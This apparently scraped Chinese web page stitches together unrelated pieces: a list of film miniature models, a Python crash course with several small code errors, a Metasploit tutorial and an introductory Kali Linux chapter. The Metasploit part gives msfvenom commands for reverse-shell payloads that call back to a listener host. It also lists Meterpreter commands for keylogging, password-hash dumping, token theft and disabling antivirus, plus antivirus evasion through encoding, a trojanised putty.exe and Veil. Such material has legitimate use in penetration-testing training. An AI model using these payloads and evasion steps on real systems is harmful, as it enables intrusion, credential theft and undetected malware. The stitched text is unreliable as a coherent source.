感谢陈勇同鞋对本回答的贡献,以下附上整理后的 微缩模型分类及发展索引

拍摄功能类

- 静态类微缩模型

- 动态类微缩模型

- 破坏类微缩模型


辅助功能类

- 概念设计辅助模型

- 拍摄示意辅助模型


电影中出现的模型场景

起源:

- 1902年《月球旅行记》

- 1927年《大都会》

- 1933年《金刚》

- 1954年《哥斯拉》(日本)

新的高度:

- 1968年《2001太空漫游》

- 1977年《星球大战》

- 1979年《异形》

- 1982年《银翼杀手》

- 1984年《终结者》

CG时代:(仍然被大量使用,尤其是涉及到火、爆炸、水的时候)

- 1993年《侏罗纪公园》

- 1996年《独立日》

- 1997年《泰坦尼克号》

- 2001年《哈利波特与魔法石》

- 2001年-2003《指环王》

- 2006年《超人归来》

现在:(更多地是为追求更加真实的质感与光线)

- 2008年《蝙蝠侠:侠影迷踪》

- 2010年《盗梦空间》

- 2014年《布达佩斯大饭店》

- 2014年《星际穿越》

- 2017年《银翼杀手2049》

- 2018年《登月第一人》

Python 编程速成

$
0
0
翻译:疯狂的技术宅
https://likegeeks.com/python-...

本文首发微信公众号:前端先锋
欢迎关注,每天都给你推送新鲜的前端技术文章


Python是一种非常流行的脚本语言,而且功能非常强大,几乎可以做任何事情,比如爬虫、网络工具、科学计算、树莓派、Web开发、游戏等各方面都可以派上用场。同时无论在哪种平台上,都可以用 Python 进行系统编程。

机器学习可以用一些 Python 库来实现,比如人工智能常用的 TensorFlow。也可以用像 NLTK 这样的 Python 库进行自然语言处理(NLP)。

本文讨论基本的 Python 编程,后续会写一些 Python 编程的实际案例。

操作字符串

Python 中的字符串是不可变的,所以不能直接修改。对字符串内容的任何更改都需要产生新的副本。
在 Python 中处理字符串非常简单。

拼接字符串

str = "welcome " + "to Python" 
print (str) 

这是字符串连接,你也可以对字符串做乘法操作:

重复字符串

str = "Python" * 2 
print (str)

与非字符串拼接

可以用 str()函数将非字符串的值转换为字符串,然后再连接,如下所示:

str = "This is test number " + str(15) 
print (str)

搜索子字符串

可以使用 find()方法搜索子字符串,如下所示:

str = "welcome to Python" 
print(str.find("Python"))

如果找到了字符串"Python",则 find方法会返回第一次出现这个字符串的位置。

如果没有找到,则返回 -1。

find函数默认从第一个字符开始搜索,也可以从第n个字符开始,如下所示:

str = "welcome to Python" 
print(str.find("Python",12))

因为我们从第12个字符开始,所以找不到 Python 这个单词,所以它会返回 -1。

获取子字符串

所以我们得到了我们要搜索的字符串的索引,现在我们要打印匹配的字符串。

你可以按索输出印字符串,如下所示:

str = "first second third" 
print(str[:2]) 
print(str[2:]) 
print(str[3:5]) 
print(str[-1])

在第 2 行的代码会打印第一个和第二个字符,而第 3 行会从第二个字符开始打印到结束。要注意代码中结冒号的位置。字符串从 0 开始计数。
如果使用负数,则会从最后开始计数。第 5 行代码会打印最后一个字符。

替换字符串

你可以用如下方法替换字符串:

str = "This website is about programming" 
str2 = str.replace("This", "That") 
print(str2)

如果你想替换的字符串多次出现,但是只想替换第一次出现的,可以指定位置:

str = "This website is about programming I like this website" 
str2 = str.replace("website", "page",1) 
print(str2)

第一个词只被替换了。

去除字符串两端的空格

可以用 strip方法去掉字符串两端的空格,如下所示:

str = "   This website is about programming    "
print(str.strip())

你可以用 rstrip仅去除最右的空格,或者用 lstrip去除最左边的空格。

改变字符大小写

在某些情况下你可能需要改变字符的大小写。

str="Welcome to likegeeks" 
print(str.upper()) 
print(str.lower())

将字符串转换为数字

前面学到了用 str()函数将数字转为字符串,但这不是 Python 中唯一的转换函数,另外还有 int()float()long()和其他强制转换函数。

int()可以把输入的字符串转为整数, float()函数将字符串转为float。

str="10" 
str2="20" 
print(str+str2) 
print(int(str)+int(str2))

第 3 行只是连接两个字符串,而第 4 行把两个值相加并输出结果。

字符串计数

可以用 min()找到字符串中 ASCII 值最小的字符, max()找到最大的字符,用 len()函数得到字符的总长度。

str="welcome to Python" 
print(min(str)) 
print(max(str)) 
print(len(str))

迭代字符串

可以用 for迭代字符串并单独操作每个字符,如下所示:

str="welcome to likegeeks website" 
for i in range(len(str)):
    print(str[i])

其中 len()函数用来得到字符串的长度。

字符串编码

如果你使用的是Python 3,默认情况下所有字符都是 Unicode 字符集编码,但是如果用的是Python 2,可能需要对字符串进行编码,如下所示:

str="welcome to Python" 
str.encode('utf-8')

操作数字

在 Python 中定义数字变量的方式如下:

a=15

可以定义整数,也可以定义浮点数。
浮点数可以用 int()函数进行舍入,如下所示:

a=15.5 
print(int(a))

舍入数字

可以用 round()函数对数字进行舍入:

a=15.5652645
print(round(a,2))

只需指定需要舍入到小数点后几位。

自定义精度的数字

很多情况下会用到自定义精度的浮点数。

可以处理用户自定义精度数的 decimal 模块。

这样导入模块并使用:

from decimal import *

a=Decimal(5.5)

生成随机数

Python 中的 random 模块提供了生成随机数的函数。

import random 

print(random.random())

生成的随机数介于 0.0 和 1.0 之间。

可以从自己定义的范围中生成一个随机数,如下所示:

import random

numbers=[1,2,3,4,5,6,7]
print(random.choices(numbers))

操作日期和时间

你可以从日期中提取所需的值,如下所示。

import datetime 

cur_date = datetime.datetime.now() 
print(cur_date) 
print(cur_date.year) 
print(cur_date.day) 
print(cur_date.weekday()) 
print(cur_date.month) 
print(cur_date.time())

可以得到两个时间或日期之间的差,如下所示:

import datetime 

time1 = datetime.datetime.now() 
time2 = datetime.datetime.now() 
timediff = time2 - time1 
print(timediff.microseconds())

上例中的 timediff变量是 timedelta类型的对象,你也可以自己创建这种对象:

time1 = datetime.datetime.now() 
time2 = datetime.timedelta(days=3) 
time3=time1+time2 
print(time3.date())

格式化日期和时间

可以用 strftime()格式化日期或时间。

下表指定了一些常用的格式选项:

  • %y 两位数的年份表示(00-99)
  • %Y 四位数的年份表示(000-9999)
  • %m 月份(01-12)
  • %d 月内中的一天(0-31)
  • %H 24小时制小时数(0-23)
  • %I 12小时制小时数(01-12)
  • %M 分钟数(00=59)
  • %S 秒(00-59)
  • %a 本地简化星期名称
  • %A 本地完整星期名称
  • %b 本地简化的月份名称
  • %B 本地完整的月份名称
  • %c 本地相应的日期表示和时间表示
  • %j 年内的一天(001-366)
  • %p 本地A.M.或P.M.的等价符
  • %U 一年中的星期数(00-53)星期天为星期的开始
  • %w 星期(0-6),星期天为星期的开始
  • %W 一年中的星期数(00-53)星期一为星期的开始
  • %x 本地相应的日期表示
  • %X 本地相应的时间表示
  • %Z 当前时区的名称
  • %% %号本身
import datetime 

date1 = datetime.datetime.now() 
print(date1.strftime('%d. %B %Y %I:%M%p'))

从字符串创建日期

可以用 strptime()函数从字符串创建日期,如下所示:

date1=datetime.datetime.strptime(“2015-11-21”, “%Y-%m-%d”)

也可以像这样创建:

date1= datetime.datetime(year=2015, month=11, day=21)

处理文件系统

在 Python 中处理文件非常容易,不管你信不信,在所欲语言中是是最简单的。当然你也可以说 Python 是一种做什么事情都最简单的语言。

复制文件

shutil模块中包含用于复制文件的功能。

import shutil 
copied_path = shutil.copy('my_file.txt', 'copied_file.txt')

如果 my_file.txt 是一个软连接的话,那么上面的代码将会把 copied_file.txt 创建为独立的文件。

你也可以创建一个软链接的副本,如下所示:

copied_path = shutil.copy('my_file.txt', 'copied_file.txt',follow_symlinks=False)

移动文件

你可以像这样移动一个文件:

import shutil 
shutil.move('file1.txt', 'file3.txt')

也可以使用 os模块中的 rename函数重命名文件,如下所示:

import os 
os.rename('file1.txt', 'file3.txt')

读写文本文件

可以用 open函数打开文件,然后再用 readwrite方法进行读写。

fd = open('file1.txt') 
content = fd.read() 
print(content)

首先,使用 open函数打开文件并读取,然后我再用 read函数读取文件内容,最后,将得到的内容放入变量 content中。

你可以指定 read()()函数读取的字节数:

fd.read(20)

如果文件不是太大的话,你可以将整个内容读入一个列表,然后再遍历列表打印输出。

content = fd.readlines() 
print(content[0])

可以通过指定打开的模式来写入文件。有两种写入模式,即写入模式和追加模式。

下面是写入模式,会覆盖掉文件中的旧内容。

fd = open('file1.txt','w') 
content = fd.write('YOUR CONTENT GOES HERE')

下面是附加模式:

fd = open('file1.txt','a') 
content = fd.write('YOUR CONTENT GOES HERE')

创建目录

可以用 os模块中的 mkdir函数创建一个新目录,如下所示:

import os 

os.mkdir('./NewFolder)

如果目录已经存在将会引发错误。不过不用担心,在以后的文章中会讨论异常处理,可以帮你避免此类错误。

获取访问和修改以及创建时间

可以用 getmtime() getatime()getctime()分别获取修改时间、访问时间和创建时间。

返回的时间格式为 Unix 时间戳,我们可以把它转换为人类可读的格式,如下所示:

import os 
import datetime 

tim=os.path.getctime('./file1.txt') 
print(datetime.datetime.fromtimestamp(tim))

迭代文件

你可以用 os模块中的 listdir()函数来获取文件:

import os

files = os.listdir('.')
print(files)

此外,你可以用 glob模块执行相同的操作:

import glob 
files = glob.glob('*') 
print(files)

你可以为 glob()设定任何一种扩展名,例如设定为 * .doc获取所有word文档。

序列化Python对象

此过程用于将 Python 对象序列化为字节流,以便以后重用。

你可以用 pickle模块做到这一点:

import pickle 

fd = open('myfile.pk ', 'wb') 
pickle.dump(mydata,fd)

可以用 load()函数反序列化此数据,如下所示:

import pickle 

fd = open('myfile.pk ', 'rb') 
mydata = pickle.load(fd)

压缩文件

Python 标准库使你可以处理不同格式的压缩文件,如tar,zip,gzip,bzip2。

要处理 zip文件,你可以使用 zipfile模块:

import zipfile 

my_zip = zipfile.ZipFile('zipped_file.zip', mode='r') 
print(file.namelist())

你可以把一个文件压缩成 zip 格式,如下所示:

import zipfile 

file=zipfile.ZipFile('files.zip','w') 
file.write('file1.txt') 
file.close()

可以用 extractall()方法提取 zip 压缩包中的文件:

import zipfile 

file=zipfile.ZipFile('files.zip','r') 
file.extractall() 
file.close()

另外还可以用附加模式将文件附加到现有的zip文件,如下所示:

import zipfile 

file=zipfile.ZipFile('files.zip','a') 
file.write('file2.txt') 
file.close()

在处理 gz 或 bz 文件时,可以用和上面相同的套路。不过要导入 gzip模块或 bz2模块。

import gzip 
import bz2 

gz_file=gzip.GzipFile('files.gz','r') 
bz_file=bz2.BZ2File('fiels.bz2','r')

然后用同样的方式读写。

你可以使用 unrar包处理rar文件。首先,安装包:

pip install unrar

然后用同样的方式使用。

import unrar.rarfile 

m=unrar.rarfile.RarFile('file.rar') 
m.namelist() 
m.extractall()

解析CSV文件

一个非常有用的包叫做 pandas。它可以解析 CSV 和 Excel 文件,并轻松地从中提取数据。

首先,安装包

pip install pandas

然后你可以在自己的代码中使用它,如下所示:

import pandas 

data=pandas.read_csv('file.csv)

默认情况下,Pandas 将第一列视为每行的标签。如果列索引不是第一列,则可以通过传递 index_col参数来指定列索引。

如果文档中没有行标签,则应使用参数 index_col = False

要写入CSV文件,可以使用 to_csv()方法。

data.to_csv('file.csv)

解析Excel文件

可以用 pandas 模块中的 read_excel()方法来解析excel文件。

data = pd.read_excel('file.xls', sheetname='Sheet1')

如果有多个工作表,可以这样加载:

ta = pd.ExcelFile('file.xls')

这样写入excel文件:

ta.to_excel('file.xls', sheet='Sheet1')

网络和连接

Python 有一个 socket类,它提供了一种通过低级 API 访问网络的方法,它支持许多网络协议。

import socket 
host = '192.168.1.5' 
port = 5050 
m_sock = socket.create_connection ((host, port))

这段代码与 IP 地址为 192.168.1.5 的主机通过 5050 端口建立连接。

打开 socket 后,就可以发送和接收数据了。

m_sock.sendall(b'Hello World')

注意,我在字符串之前使用了 b 字符,因为数据需要是字节字符串。

如果发送的数据太大,你应该通过循环分割并发送,如下所示:

msg = b'Longer Message Goes Here' 
mesglen = len(msg)
total = 0
while total < msglen: 
    sent = m_sock.send(msg[total:])
    total = total + sent

要接收数据,你需要告诉 recv()方法一次读入多少个字节。

data_in = m_sock.recv(2000)

这是有效的,因为你能够确定发送的消息长度小于2000个字节。

如果消息很大,则必须反复循环,直到收到所有的数据块。

buffer = bytearray(b' ' * 2000) 
m_sock.recv_into(buffer)

在这里定义了一个空缓冲区,然后将消息写入缓冲区。

从POP邮件服务器接收电子邮件

poplib模块使你可以与 POP 服务器进行通信。

import getpass,poplib 

pop_serv = poplib.POP3('192.168.1.5') 
pop_serv.user("myuser") 
pop_serv.pass_(getpass.getpass())

getpass模块可以安全地处理密码。

如果需要安全连接,可以用 POP3_SSL 类。

要获取邮件列表和邮件计数,可以这样做:

msg_list = pop_serv.list()        # to list the messages 
msg_count = pop_serv.msg_count()  # to get message count

处理完毕后,一定要记得关闭所有打开的连接。

pop_serv.quit()

从IMAP邮件服务器接收电子邮件

可以用 imaplib模块与 IMAP 邮件服务器通信。

import imaplib, getpass 

my_imap = imaplib.IMAP4('imap.server.com') 
my_imap.login("myuser", getpass.getpass())

如果你的 IMAP 服务器上使用 SSL,则应用 IMAP4_SSL 类。

要获取电子邮件列表,需要先执行查询操作:

data = my_imap.search(None, 'ALL')

然后,通过迭代 data变量中的邮件索引获取邮件内容

msg = my_imap.fetch(email_id, '(RFC822)')

最后,不要忘记关闭连接:

my_imap.close() 
my_imap.logout()

发送电子邮件

想要通过 SMTP 协议发送电子邮件。可以用 smtplib

import smtplib, getpass 

my_smtp = smtplib.SMTP(smtp.server.com') 
my_smtp.login("myuser", getpass.getpass())

如果在 SMTP服务器上使用SSL,则应用 SMTP_SSL 类。

打开连接后,你可以这样发送邮件:

from_addr = 'me@example.com' 
to_addr = 'you@example.com' 
msg = 'From: me@example.com\r\nTo: you@example.com\r\n\r\nHello, this is a test message' 
my_smtp.sendmail(from_addr, to_addr, msg)

抓取网页

要与Web服务器进行通信,需要用到 urllib.request子模块。

import urllib.request 

my_web = urllib.request.urlopen('https://www.google.com') 
print(my_web.read())

提交 Web 表单

如果你想要提交 Web 表单,应该向网页发送POST请求。

import urllib.request 
my_data = b'Your Data Goes Here' 
my_req = urllib.request.Request('http://localhost', data=my_data,method='POST') 
my_frm = urllib.request.urlopen(my_req) 
print(my_frm.status)

另外还可以用 mechanize 或 urllib2 模块,还有很多方法可以实现这个功能。

创建一个微型服务器

socket类支持侦听连接请求。

import socket 

host = ''
port = 3535 
my_server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
my_server.bind((host, port)) 
my_server.listen(1)

现在你可以接受这样的连接请求:

addr = my_server.accept() 
print('Connected ... ', addr) 
data = conn.recv(1024)

最后不要忘记在操作完成后关闭连接

conn.close()

Python 中的线程

并发运行任务是非常有用的,Python 有一个名为 threading的模块,它包含一个 Thread类。

import threading 

def print_message():     
    print('The message got printed from a different thread') 

my_thread = threading.Thread(target=print_message) 
my_thread.start()

如果函数需要很长时间才能完成,可以用 is_alive()方法检查它是否仍在运行。

有时你的线程需要安全地访问全局资源。这时候就需要用到锁。

import threading

num = 1 
my_lock = threading.Lock()

def my_func():
    global num, my_lock
    my_lock.acquire()
    sum = num + 1
    print(sum)
    my_lock.release() 

my_thread = threading.Thread(target=my_func)
my_thread.start()

使用树莓派

使用树莓派是一种价格便宜的单板电脑,可以在上面开发各种有趣的应用。

可以用 Python 的 RPi.GPIO模块使树莓派与外接的传感器通信。

首先,在你的树莓派中安装包,如下所示:

$ sudo apt-get install python-dev python-rpi.gpio

然后你就能在Python脚本中使用它了。可以在树莓派的 GPIO 总线上写输出:

import RPi.GPIO as GPIO 

GPIO.setmode(GPIO.BOARD) 
GPIO.setup(1, GPIO.OUT, initial=GPIO.LOW) 
GPIO.output(1, GPIO.HIGH)

通过树莓派的GPIO中读取数据

你可以用 RPi.GPIO模块从 GPIO 接口读取数据,如下所示:

import RPi.GPIO 

RPi.GPIO.setup(1, GPIO.IN)
if RPi.GPIO.input(1):
    print('Input was HIGH') 
else:
    print('Input was LOW')

以上只是 Python 的一小部分基础知识,还有很长的路需要走。

实际上,我们已经介绍了一小部分Python,还有很多内容需要介绍。将来会有更多的文章来帮助大家学习 Python 这种充满魅力的语言,请关注我。


本文首发微信公众号:前端先锋

欢迎扫描二维码关注公众号,每天都给你推送新鲜的前端技术文章

欢迎扫描二维码关注公众号,每天都给你推送新鲜的前端技术文章


欢迎继续阅读本专栏其它高赞文章:

记一份基础Metasploit教程 - 先知社区

$
0
0

前言

Metasploit就是一个漏洞框架。它的全称叫做 The Metasploit Framework,简称叫做 MSFMetasploit作为全球最受欢迎的工具,

不仅仅是因为它的方便性和强大性,更重要的是它的框架。它允许使用者开发自己的漏洞脚本,从而进行测试。

0x01 基本操作

1、运行

终端中输入 msfconsole

2、建立搜索缓存(数据库)

启动 PostgreSQL数据库服务: service postgresql start监听 5432端口

初始化 Metasploit数据库: msfdb init

查看数据库联接情况: msfconsole db_status

建立数据库缓存: msfconsole db_rebuild_cache

3、专业术语

– Exploit,攻击工具/代码 
– Payload,攻击载荷 
– Shellcode 
– Module,模块 
– Listener,监听器

4、常用命令

show exploits – 查看所有可用的渗透攻击程序代码 
show auxiliary – 查看所有可用的辅助攻击工具 
show options – 查看该模块所有可用选项 
show payloads – 查看该模块适用的所有载荷代码 
show targets – 查看该模块适用的攻击目标类型
search – 根据关键字搜索某模块 
info – 显示某模块的详细信息 
use – 进入使用某渗透攻击模块 
back – 回退 
set/unset – 设置/禁用模块中的某个参数 
setg/unsetg – 设置/禁用适用于所有模块的全局参数 
save – 将当前设置值保存下来,以便下次启动MSF终端时仍可使用

0x01 Metasploit功能程序

msfvenom(攻击载荷生成和编码器)

主要参数:
-p payload
-e 编码方式
-i 编码次数
-b 在生成的程序中避免出现的值
LHOST,LPORT 监听上线的主机IP和端口
-f exe 生成EXE格式
使用msfvenom -l 可以查看可以利用payload
msfvenom -l | grep windows | grep x64 | grep tcp  选择payload

1、生成可执行文件

Linux:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf
Windows:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe
Mac:
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho
PHP:
msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php
ASP:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp
JSP:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp
WAR:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war
Python:
msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py
Bash:
msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh
Perl:
msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl

2、监听

set PAYLOAD <Payload name>
set LHOST <LHOST value>
set LPORT <LPORT value>
set ExitOnSession false   让connection保持连接(即使一个连接退出,仍然保持listening状态)
exploit -j –z  -j(作为job开始运行)和-z(不立即进行session交换--也即是自动后台运行)

3、实例

msfvenom -p windows/x64/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b ‘\x00’ LHOST=172.16.0.4 LPORT=443 -f exe > abc.exe

msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/x64/meterpreter/reverse_tcp
msf exploit(handler) > show options

msf exploit(handler) > set LHOST 172.16.0.4
msf exploit(handler) > set ExitOnSession false
msf exploit(handler) > exploit -j -z  
-j(计划任务下进行攻击,后台) -z(攻击完成不遇会话交互)
msf exploit(handler) > jobs  查看后台攻击任务 
msf exploit(handler) > kill <id>  停止某后台攻击任务 
msf exploit(handler) > sessions -l  (查看会话)

msf exploit(handler) > sessions -i 2   选择会话
msf exploit(handler) > sessions -k 2   结束会话

Ctrl+z  把会话放到后台
Ctrl+c  结束会话

0x02 Meterpreter后攻击

Meterpreter提供的功能包括反追踪、纯内存工作模式、系统 信息获取、密码哈希导出、文件上传下载、屏幕截取、键盘记 录、权限提升、跳板攻击等等。

常用命令:

meterpreter > background  放回后台
meterpreter > exit  关闭会话
meterpreter > help  帮助信息
meterpreter > Sysinfo系统平台信息
meterpreter > screenshot  屏幕截取
meterpreter > shell  命令行shell (exit退出)
meterpreter > getlwd  查看本地目录
meterpreter > lcd  切换本地目录
meterpreter > getwd  查看目录
meterpreter > ls 查看文件目录列表
meterpreter > cd  切换目录 
meterpreter > rm  删除文件 
meterpreter > download C:\\Users\\123\\Desktop\\1.txt 1.txt 下载文件
meterpreter > upload /var/www/wce.exe wce.exe  上传文件
meterpreter > search -d c:  -f *.doc  搜索文件
meterpreter > execute -f  cmd.exe -i   执行程序/命令 
meterpreter > ps  查看进程
meterpreter > run post/windows/capture/keylog_recorder   键盘记录
meterpreter > getuid  查看当前用户权限
meterpreter > use priv  加载特权模块
meterpreter > getsystem  提升到SYSTEM权限
meterpreter > hashdump  导出密码散列
meterpreter > ps   查看高权限用户PID
meterpreter > steal_token <PID>  窃取令牌
meterpreter > rev2self  恢复原来的令牌 
meterpreter > migrate pid  迁移进程
meterpreter > run killav  关闭杀毒软件 
meterpreter > run getgui-e  启用远程桌面
meterpreter > portfwd add -l 1234 -p 3389 -r <目标IP>  端口转发
meterpreter > run get_local_subnets  获取内网网段信息
meterpreter > run autoroute -s <内网网段>  创建自动路由
meterpreter > run autoroute -p  查看自动路由表
创建代理通道:
msf > use auxiliary/server/socks4a   设置socks4代理模块
msf auxiliary(socks4a) > show options 
msf auxiliary(socks4a) > run
配置proxychains参数:
nano /etc/proxychains.conf   修改代理监听端口,和前面端口一致
quite_mode  设置成安静模式:去掉如下参数前面的注释

0x03 免杀

1、多次编码免杀

msfvenom -p windows/meterpreter/reverse_http LHOST=192.168.80.12 LPORT=443 -e x86/shikata_ga_nai-i5 -f exe -o /var/www/html/reverse_http_encode.exe

2、自定义二进制代码的文件模板免杀

使用“putty.exe”作为文件模板,而且随着putty程序运行而隐蔽同时运行,还使用编码器进行了编码。

msfvenom -p windows/meterpreter/reverse_http LHOST=192.168.80.12 LPORT=443 -e x86/shikata_ga_nai-i5 -x ~/putty.exe -k -f exe -o /var/www/html/reverse_http_putty.exe

3、使用Veil生成免杀代码

下载地址:

1: https://github.com/Veil-Framework/Veil-Evasion(只集合了 Evasion)

2: https://github.com/Veil-Framework/Veil

安装:(建议使用 git下载,否则无法更新)

apt-get -y install git
git clone https://github.com/Veil-Framework/Veil.git
cd Veil/
cd setup
sudo ./setup.sh -c

一路回车就行,可能中间或出现让你安装 python、ruby、go语言等,默认安装就行

运行:

cd ~/Veil 
./Veil.py

使用 Veil-Evasion工具:

use Evasion

列举所有模块:

list

使用某个模块:

use 
use c/meterpreter/rev_http.py

设置变量:

set

生成可执行代码:

generate


Kali Linux渗透测试实战 第一章 - 玄魂

$
0
0

1.1 Kali Linux简介


如果您之前使用过或者了解BackTrack系列Linux的话,那么我只需要简单的说,Kali是BackTrack的升级换代产品,从Kali开始,BackTrack将成为历史。

如果您没接触过BackTrack也没关系,我们从头开始了解Kali Linux。

按照官方网站的定义,Kali Linux是一个高级渗透测试和安全审计Linux发行版。作为使用者,我简单的把它理解为,一个特殊的Linux发行版,集成了精心挑选的渗透测试和安全审计的工具,供渗透测试和安全设计人员使用。也可称之为平台或者框架。

17182302-122acb302af04b68a31ad036c8fe08d

 

Kali Linux

作为Linux发行版,Kali Linux是在BackTrack Linux的基础上,遵循Debian开发标准,进行了完全重建。并且设计成单用户登录,root权限,默认禁用网络服务。

关于系统特性,定制,在不同设备上的安装,请在Kali Linux官网上查阅, http://www.kali.org/。官网上还有一份中文版的说明文档,但是我总觉得要么是自动翻译的,要么是外国人自行翻译的,读起来非常不通顺,但是仍然可作为参考,见 http://cn.docs.kali.org/

17182311-298d1ffa0c8a4c32ac4016dbc1b9b9c

 

中文文档

因为本书的核心内容是渗透测试,Kali Linux只是平台,更多的关于系统本身的内容不会详细介绍。下面我们来看看Kali自带的工具集,介绍完这些工具,相信你也就了解了Kali Linux的功能。

17182319-948f1b9e822041a8b9c77a63f508852

上图是安装完Kali Linux(在下一节,会简单介绍虚拟机下Kali Linux的安装和配置)系统自带的工具集。最顶层是十佳安全工具,这些工具都被包含在下面的工具分类中。

Kali Linux将所带的工具集划分为十四个大类,这些大类中,很多工具是重复出现的,因为这些工具同时具有多种功能,比如nmap既能作为信息搜集工具也能作为漏洞探测工具。其中大部分工具的使用,都会在之后的章节中做介绍和实例演示。另外,这里介绍的工具都是系统默认推荐的工具,我们也可以自行添加新的工具源,丰富工具集。根据笔者的经验,绝大多数情况下,系统推荐的工具已经足够使用了。一些专用工具,会在特定的测试场景下被引入,在后续章节中会详细说明。

信息搜集

信息搜集工具集又分为DNS分析、IDS/IPS识别、SMB分析、SMTP分析、SNMP分析、SSL分析、VoIP分析、VPN分析、存活主机识别、电话分析、服务指纹识别、流浪分析、路由分析、情报分析、系统指纹识别共15个小分类。

17182326-305eb706f27a44e5b5f20a258da853f

信息搜集工具分类

DNS分析包含dnsdict6、dnsenum等12个工具,如下图。

17182335-27a4fe3be1ab40f49141eee50d836a7

Dns分析工具

IDS/IPS识别包含fragrout、fragrouter、ftest、lbd、wafwOOf四个工具。

17182343-09f9bb79480c4188a230273dce2e2bc

IDS/IPS识别工具

扩展---|||||IDS/IPS

IDS(intrusion detection system),即入侵检测系统。是一种对网络传输进行即时监视,在发现可疑传输时发出警报或者采取主动反应措施的网络安全设备。它与其他网络安全设备的不同之处便在于,IDS是一种积极主动的安全防护技术。

IPS(Intrusion Prevention System)即入侵防御系统。IPS位于防火墙和网络的设备之间。这样,如果检测到攻击,IPS会在这种攻击扩散到网络的其它地方之前阻止这个恶意的通信。

二者的区别:

入侵检测系统注重的是网络安全状况的监管。入侵防御系统关注的是对入侵行为的控制。

入侵检测系统需要部署在网络内部的中心点,需要能够观察到所有网络数据。入侵防御系统需要部署在网络的边界。

入侵检测系统的核心价值在于通过对全网信息的分析,了解信息系统的安全状况,进而指导信息系统安全建设目标以及安全策略的确立和调整,而入侵防御系统的核心价值在于安全策略的实施—对黑客行为的阻击;入侵检测系统需要部署在网络内部,监控范围可以覆盖整个子网,包括来自外部的数据以及内部终端之间传输的数据,入侵防御系统则必须部署在网络边界,抵御来自外部的入侵,对内部攻击行为无能为力。

参考: http://security.zdnet.com.cn/security_zone/2009/0412/1362627.shtml

smb分析包含如下工具:

17182358-0c158eede8be448aae715ae0228184c

扩展---|||||smb协议

MB简介SMB是Server Message Block的简写,这个协议用于共享文件,共享打印机,共享串口等用途。我们之所以能够在windows的网络邻居下访问一个域内的其他机器,就是通过这个协议实现的。SMB 协议是一个很重要的协议,目前绝大多数的PC上都在运行这一协议,windows系统都充当着SMB协议的客户端和服务器,所以SMB是一个遵循客户机服/务器模式的协议。SMB服务器负责通过网络提供可用的共享资源给SMB客户机,服务器和客户机之间通过TCP/IP协议、或者IPX协议、或者是 NetBEUI进行连接。

参考:http://msdn.microsoft.com/en-us/library/cc246231.aspx

smtp分析包含如下工具:

17182405-fb2d7ce5f2ed4dd6bea7852c05dcf50

smtp分析工具

snmp分析报告如下工具:

17182411-66bdd56b75bc4aa288a58a95dd7bea2

SSL分析包含如下工具:

17182418-447542044268453fb123a5efc0f65c4

VoIP分析包含如下工具:

17182425-13e624b9a5384b43a90e016c0bf5744

扩展—VoIP简介

VoIP是 Voice over Internet Protocol的缩写,指的是将模拟的声音讯号经过压缩与封包之后,以数据封包的形式在IP 网络的环境进行语音讯号的传输,通俗来说也就是互联网电话、网络电话或者简称IP电话的意思。

参考资料: https://www.cisco.com/application/pdf/en/us/guest/tech/tk587/c1506/ccmigration_09186a008012dd36.pdf

VPN分析只包含一个工具:ike-scan

17182432-8dde89272a724cc796deedca9c8f368

存活主机识别包含的工具:

17182442-81ee437b09794d1f98f4c1700001cf8

服务器指纹识别包含如下工具:

17182451-8b10c8027fca4e69b9559415e083119

流量分析包含如下工具:

17182500-917117facd364ab2b3070bc0bd8aede

路由分析包含如下工具:

17182520-a0024e770f304a98916c093b7b9d339

情报分析包含如下工具:

17182528-389fa3e7a6744dccb8bbe9f92c09464

网络包含如下工具:

17182543-f4e53eb4819c454299d52456a7dea47

系统指纹识别包含如下工具:

17182553-38c006720ac949c19b7bf486c045432

扩展—指纹识别:

在实际的生产环境中,应用程序返回的软件、服务器、操作系统的相关信息,很有可能是伪装过的。比如请求一台apathe服务器,如果它在http响应中返回的是IIS 6.0的信息,如果我们简单的认为它是iis服务器,并以此为依据继续接下来的渗透工作,岂不是南辕北辙?指纹识别技术应运而生,向测试对方发送特殊的请求,根据响应内容的不同来做出正确的识别,这种技术称之为指纹识别技术。常用的操作系统指纹识别技术为IP协议栈。

链接 http://nmap.org/book/osdetect-fingerprint-format.html是Nmap操作系统指纹识别的基本原理

漏洞分析

17182604-0313b47d774440379d5ef0b18d64202

漏洞分析工具集

漏洞分析工具集,共分为6个小类,分别为Cisco工具集、Fuzzing工具集、OpenVAS、开源评估软件、扫描工具集、数据库评估软件。

Cisco工具集包含如下工具:

17182613-9bd70165995b40fab3472588fcf3d7e

Fuzzing工具集下包含如下工具:

17182621-8564ddccd0e8418cb3c42a377a37fd9

扩展—Fuzzing

模糊测试 (fuzz testing, fuzzing)是一种软件测试技术。其核心思想是自动或半自动的生成随机数据输入到一个程序中,并监视程序异常,如崩溃,断言(assertion)失败,以发现可能的程序错误,比如内存泄漏。模糊测试常常用于检测软件或计算机系统的安全漏洞。

